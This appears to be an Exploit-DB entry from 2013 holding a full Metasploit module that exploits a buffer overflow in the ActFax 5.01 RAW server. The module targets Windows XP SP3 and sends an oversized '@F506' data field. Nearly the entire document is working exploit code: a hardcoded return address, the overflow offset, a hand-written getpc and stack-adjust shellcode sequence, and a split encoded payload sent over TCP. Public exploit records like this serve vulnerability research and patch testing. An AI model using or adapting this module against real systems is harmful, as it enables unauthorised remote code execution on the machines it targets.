ActFax 5.01 - RAW Server (Metasploit)

Author: Craig Freyman
type: remote
platform: windows
port: 
date_added: 2013-02-07  
date_updated: 2013-02-08  
verified: 1  
codes: OSVDB-89944  
tags: Metasploit Framework (MSF)  
aliases:   
screenshot_url: http://www.exploit-db.com/screenshots/idlt24500/screen-shot-2013-02-08-at-10044-pm.png  
application_url: http://www.exploit-db.comactfax_setup_en.exe  

raw file: 24467.rb  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking
	include Msf::Exploit::Remote::Tcp
	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'ActFax 5.01 RAW Server Buffer Overflow',
			'Description'	=> %q{
					This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW Server can
					be used to transfer fax messages to the fax server without any underlying protocols. To
					note significant fields in the fax being transfered, like fax number and receipient, you can
					use ActFax data fields. @F506,@F605, and @F000 are all data fields that are vulnerable.
					For more information refer to the 'data fields' section of the help menu in ActFax. This has
					been fixed in a beta version which wont be pushed to release until May 2013.
					Beta is here: http://www.actfax.com/download/beta/actfax_setup_en.exe

			},
			'License'		=> MSF_LICENSE,
			'Author'		=>
				[
					'Craig Freyman @cd1zz',	#discovery and msf
					'corelanc0d3r', #lots of help with getpc routine => https://www.corelan-training.com/index.php/training/corelan-live
				],
			'References'	=>
				[
					[ 'OSVDB', '' ],
					[ 'CVE', '' ],
					[ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ]
				],
			'DefaultOptions' =>
				{
					'ExitFunction' => 'none',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'	=> 'win',
			'Payload'	=>
				{
					'BadChars' => "\x00\x40",
					'DisableNops' => true,
					'Space' => 1000,
					'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
                    			'EncoderOptions' => { 'BufferRegister' => 'EBX' }

				},

			'Targets'		=>
				[
					[ 'Windows XP SP3',
						{
							'Ret'   	=>	0x775e3422, #ole32.dll v5.1.2600.6168
							'Offset'	=>	1024
						}
					],
				],
			'Privileged'	=> false,
			'DisclosureDate'	=> 'Feb 5 2013',
			'DefaultTarget'	=> 0))

		register_options([Opt::RPORT(0)], self.class)

	end

	def exploit

		connect

		getpc = "\xe8\xff\xff\xff\xff\xc3\x5b" #ebx|  call + 4:
		add_ebx = "\x83\xc3\x20" #add ebx,32
		fill = "\x4b" * 5 #inc ebx 5 times
		fill2 = "\x90" * 17
		stack_adjust = "\x81\xc4\x24\xfa\xff\xff" #add esp,-1500
		shell_chunk1 = payload.encoded[0,522]
		shell_chunk2 = payload.encoded[522,payload.encoded.length-522]

		buffer = ""
		buffer << shell_chunk2
		buffer << rand_text_alpha(target['Offset']-buffer.length)
		buffer << [target.ret].pack('V')
		buffer << stack_adjust
		buffer << getpc
		buffer << add_ebx
		buffer << fill
		buffer << fill2
		buffer << shell_chunk1

		print_status("Trying target #{target.name}...")
		sock.put("@F506 "+buffer+"@\r\npwnag3\r\n\r\n")

		handler
		disconnect

	end
end